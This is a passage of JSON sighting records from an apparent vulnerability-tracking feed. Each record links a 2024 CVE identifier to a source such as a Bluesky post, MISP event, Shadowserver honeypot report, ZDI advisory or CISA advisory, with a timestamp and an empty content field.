"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50623", "type": "seen", "source": "https://bsky.app/profile/ytroncal.bsky.social/post/3m26ubkcisk2m", "content": "", "creation_timestamp": "2025-10-02T05:50:17.970808Z"}, {"uuid": "be6b301e-82a5-44c3-bcd9-1e00b7dbdf20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3ly53rvefsy24", "content": "", "creation_timestamp": "2025-09-06T02:08:55.317709Z"}, {"uuid": "e0137540-9dd0-4240-ab64-284c0e6c377a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-16)", "content": "", "creation_timestamp": "2025-07-16T00:00:00.000000Z"}, {"uuid": "b395a6b5-c218-4339-8c0f-001359d8a4e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50334", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3ludubgurn323", "content": "", "creation_timestamp": "2025-07-19T21:02:20.412332Z"}, {"uuid": "40a9a5c2-f3ff-4cc9-b843-3f582aa4c621", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50353", "type": "seen", "source": "MISP/af790da0-9e28-4cb7-bd4e-46ad005115c6", "content": "", "creation_timestamp": "2025-10-08T21:59:28.000000Z"}, {"uuid": "b92388f6-37a8-47b4-a641-e93111880aad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50387", "type": "seen", "source": "MISP/af790da0-9e28-4cb7-bd4e-46ad005115c6", "content": "", "creation_timestamp": "2025-10-08T21:59:28.000000Z"}, {"uuid": "b4aeebab-0c6c-4735-b797-bdefff2274fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3lyh5nzewxq24", "content": "", "creation_timestamp": "2025-09-10T02:09:10.240213Z"}, {"uuid": "ccde0887-5d63-4af5-9411-88fcd7fc6341", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-12)", "content": "", "creation_timestamp": "2025-09-12T00:00:00.000000Z"}, {"uuid": "d44821f4-da07-414d-9878-2c0d8999a415", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50581", "type": "seen", "source": "MISP/af790da0-9e28-4cb7-bd4e-46ad005115c6", "content": "", "creation_timestamp": "2025-10-08T21:59:31.000000Z"}, {"uuid": "1d188216-312b-4721-8030-6b8bce9f8e97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50353", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3m4yqc6bmyz2j", "content": "", "creation_timestamp": "2025-11-06T23:38:36.101239Z"}, {"uuid": "aaf4cf23-3644-49e5-a54b-c61a82f12fcc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50457", "type": "seen", "source": "MISP/af790da0-9e28-4cb7-bd4e-46ad005115c6", "content": "", "creation_timestamp": "2025-10-08T21:59:29.000000Z"}, {"uuid": "5771247c-75af-4577-aa16-36c4c137fdbe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50453", "type": "seen", "source": "MISP/af790da0-9e28-4cb7-bd4e-46ad005115c6", "content": "", "creation_timestamp": "2025-10-08T21:59:30.000000Z"}, {"uuid": "99de8c58-5302-46fe-8956-542287034dd5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50437", "type": "seen", "source": "MISP/af790da0-9e28-4cb7-bd4e-46ad005115c6", "content": "", "creation_timestamp": "2025-10-08T21:59:30.000000Z"}, {"uuid": "fc323854-4a9e-48d0-85f5-4e97bb997816", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50857", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3m5ezvpy6au23", "content": "", "creation_timestamp": "2025-11-11T21:02:37.618899Z"}, {"uuid": "50be4953-2237-4272-b53e-343e0fb70d75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50497", "type": "seen", "source": "MISP/af790da0-9e28-4cb7-bd4e-46ad005115c6", "content": "", "creation_timestamp": "2025-10-08T21:59:30.000000Z"}, {"uuid": "1818c22d-49b3-4d52-a92b-e08ca54339a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50465", "type": "seen", "source": "MISP/af790da0-9e28-4cb7-bd4e-46ad005115c6", "content": "", "creation_timestamp": "2025-10-08T21:59:31.000000Z"}, {"uuid": "482f54d2-36cd-4f89-8c8f-fdf275ea5611", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50582", "type": "seen", "source": "MISP/af790da0-9e28-4cb7-bd4e-46ad005115c6", "content": "", "creation_timestamp": "2025-10-08T21:59:31.000000Z"}, {"uuid": "a120f28c-3277-428b-80e2-601d590024ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50580", "type": "seen", "source": "MISP/af790da0-9e28-4cb7-bd4e-46ad005115c6", "content": "", "creation_timestamp": "2025-10-08T21:59:31.000000Z"}, {"uuid": "5ab41cf5-91c9-4be1-b29d-9d8debcc70c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5057", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3luqgm53wk623", "content": "", "creation_timestamp": "2025-07-24T21:02:22.755359Z"}, {"uuid": "6bc642d9-1315-4de5-b40d-4ff99e4ef1ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-24)", "content": "", "creation_timestamp": "2025-07-24T00:00:00.000000Z"}, {"uuid": "4a18fbcb-7c47-4254-9f1c-2513c73d84c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50477", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3luvhjyk7lr2z", "content": "", "creation_timestamp": "2025-07-26T21:02:25.079889Z"}, {"uuid": "dd6b3841-0625-4d08-ad02-907d96252558", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-29)", "content": "", "creation_timestamp": "2025-10-29T00:00:00.000000Z"}, {"uuid": "c23826f4-6e49-4b9d-a241-af50c2615392", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5084", "type": "seen", "source": "MISP/a9d21043-f825-4bac-8d2b-56fb9e8343e7", "content": "", "creation_timestamp": "2025-10-23T21:13:04.000000Z"}, {"uuid": "e2bbb89a-ca53-4bcb-ad5f-5de966dc1bb7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-27)", "content": "", "creation_timestamp": "2025-07-27T00:00:00.000000Z"}, {"uuid": "d8487cbc-c077-4861-b533-7e050a02327f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50126", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-25-729/", "content": "", "creation_timestamp": "2025-07-30T03:00:00.000000Z"}, {"uuid": "2d95e14e-f020-42f5-98d6-e24c577fbba6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50498", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-30)", "content": "", "creation_timestamp": "2025-07-30T00:00:00.000000Z"}, {"uuid": "318aafb8-1631-464b-8ff5-1238cfb7786d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50388", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-25-760/", "content": "", "creation_timestamp": "2025-07-31T03:00:00.000000Z"}, {"uuid": "f352a1f5-bd41-4bd7-a76b-6cb40d936b00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50387", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-25-759/", "content": "", "creation_timestamp": "2025-07-31T03:00:00.000000Z"}, {"uuid": "e8e7d4c4-f093-4dbc-b065-c1f682f80099", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50389", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-25-741/", "content": "", "creation_timestamp": "2025-07-31T03:00:00.000000Z"}, {"uuid": "00129d20-1b84-4221-8879-077bcdbdd823", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50967", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-31)", "content": "", "creation_timestamp": "2025-07-31T00:00:00.000000Z"}, {"uuid": "d6b28e9d-8e11-404c-abd4-efde1b0b29da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50967", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-01)", "content": "", "creation_timestamp": "2025-08-01T00:00:00.000000Z"}, {"uuid": "7013b921-4de7-4079-9860-98e120334de8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3ly7mlatdti2g", "content": "", "creation_timestamp": "2025-09-07T02:14:45.790524Z"}, {"uuid": "9637c06b-977f-4505-a56f-0da128ff6ac7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50073", "type": "seen", "source": "https://bsky.app/profile/bluesky.awakari.com/post/3lvnqg5kw5i2y", "content": "", "creation_timestamp": "2025-08-05T12:45:10.756943Z"}, {"uuid": "93ef116c-78ad-492a-bfc1-900b6d3822a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50073", "type": "seen", "source": "https://bsky.app/profile/bluesky.awakari.com/post/3lvnqgdnhqa2y", "content": "", "creation_timestamp": "2025-08-05T12:45:17.238176Z"}, {"uuid": "695fa635-0ac3-4860-9b4d-bbdca59e76a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50073", "type": "seen", "source": "https://bsky.app/profile/Ubuntu.activitypub.awakari.com.ap.brid.gy/post/3lvnqgeuwxlk2", "content": "", "creation_timestamp": "2025-08-05T12:47:48.420060Z"}, {"uuid": "069ce359-1206-4b3b-9b7b-1d56f40f81b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50073", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3lvog3d3v222f", "content": "", "creation_timestamp": "2025-08-05T19:12:53.443164Z"}, {"uuid": "3039e6d6-26a3-4b6f-baab-0f583b4bd09b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50073", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3lvp6esrk2i2e", "content": "", "creation_timestamp": "2025-08-06T02:27:38.465203Z"}, {"uuid": "ea19156f-ce98-4d2b-9b8a-852092159d2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/0xor0ne.bsky.social/post/3lys6gxvum22w", "content": "", "creation_timestamp": "2025-09-14T11:22:28.669303Z"}, {"uuid": "430d2624-6329-4f2d-99a0-0d75db173b1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "MISP/abd2a650-703d-4a2f-9f73-3051c1672e27", "content": "", "creation_timestamp": "2025-08-09T13:26:57.000000Z"}, {"uuid": "02628281-b933-41d8-9a92-821bb7910303", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3lyc52xryz32e", "content": "", "creation_timestamp": "2025-09-08T02:15:12.814965Z"}, {"uuid": "185d41a5-5120-4dd1-a63c-e9e8e2f53185", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3lytqefamyb2l", "content": "", "creation_timestamp": "2025-09-15T02:15:45.306701Z"}, {"uuid": "fdf5fb99-bceb-4017-8df3-5774e9db2b4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "MISP/abd2a650-703d-4a2f-9f73-3051c1672e27", "content": "", "creation_timestamp": "2025-08-11T18:47:42.000000Z"}, {"uuid": "fe26500c-75c1-46c7-8012-1797699cd338", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50629", "type": "seen", "source": "MISP/02fb130c-7874-4693-9b66-81ed91a2e996", "content": "", "creation_timestamp": "2025-08-12T13:33:28.000000Z"}, {"uuid": "870de60e-721a-4429-b0fa-e9db405690b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50036", "type": "seen", "source": "https://bsky.app/profile/bluesky.awakari.com/post/3lwbhky6biw2y", "content": "", "creation_timestamp": "2025-08-13T09:00:04.639959Z"}, {"uuid": "b59a14c9-3c09-4cc9-8d64-7ad51dc64fb8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50278", "type": "seen", "source": "https://bsky.app/profile/bluesky.awakari.com/post/3lwbhky6biw2y", "content": "", "creation_timestamp": "2025-08-13T09:00:04.717839Z"}, {"uuid": "888acad0-2ab4-4b3f-bf19-ef3079fc2b00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50301", "type": "seen", "source": "https://bsky.app/profile/bluesky.awakari.com/post/3lwbhky6biw2y", "content": "", "creation_timestamp": "2025-08-13T09:00:04.796314Z"}, {"uuid": "abe8c85a-9e3b-454b-85d2-6133ab4290f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/linkersec.bsky.social/post/3m6ga2is6es24", "content": "", "creation_timestamp": "2025-11-25T01:50:34.309765Z"}, {"uuid": "2d26e95f-ca40-4700-b71b-e8712f73fb12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/linkersec.bsky.social/post/3m6ga2l65zc24", "content": "", "creation_timestamp": "2025-11-25T01:50:34.809232Z"}, {"uuid": "04d92f6c-3871-4c13-a5ac-e2007b187b14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50033", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "26d8200e-5b20-4737-a8c3-abbede21acbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50035", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "d888a52f-26ec-44a8-bacc-218c3895b2e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50039", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "a5e2dbfa-fc79-4c9e-8d58-d95d9c2bfa3f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50045", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "ef212dd7-1ed2-4303-9da9-acc1a700f898", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50046", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "9dcb723d-43ed-4c45-b713-a680d81cc51e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50268", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "521cbdb9-079b-4ec8-8208-e5f7a2a6ffb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50269", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "071a79b5-2768-4b9b-91ed-afd10a63e65d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50044", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "4c0c414f-4ba2-478d-a55c-0a8d64666bef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50082", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "6f3c98e1-0a19-4e56-806a-70912ca28609", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50083", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "748b3bdb-b5f2-41b9-bcbd-7bc16d5a17c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50265", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "355f4c2f-2fd6-4610-b8a5-9f47da204c58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50049", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "6b176485-716a-4b1d-8419-70afc53815ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50180", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "369464e9-e02c-4260-9c6c-eea0d1bb8475", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50282", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "79604f21-8a90-4e27-aa36-73ae395b5a19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50193", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "18680588-3302-420d-a3b5-70e4a6cf9f2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50234", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "1e63a0c5-4a42-4de3-b638-ca19fde4af03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50236", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "887d1039-e340-4ced-8687-8b02277d85b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "ba7283a0-0775-4b2d-92bd-3bc6182cb75f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50267", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "35edc100-4321-48d8-884a-3d87ea385bb8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50051", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "ed164160-e9f1-49b7-9cab-4fc05b744f86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50059", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "9f36ee91-cf6f-4dbc-9736-9d7af1f9e9ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50195", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "2efd7aa5-e55f-4253-b09e-057b411b2c91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50218", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "38fad1a7-c0e4-45f0-8ac8-748fe22424ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50007", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "5ef208a3-8d0f-460b-9837-190038b2b167", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50024", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "ca646391-8a03-4575-9ae0-3452e4f0f613", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50006", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-07", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "0e7da908-ce22-4224-bc86-488f61458e9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50008", "type": "seen", "source": 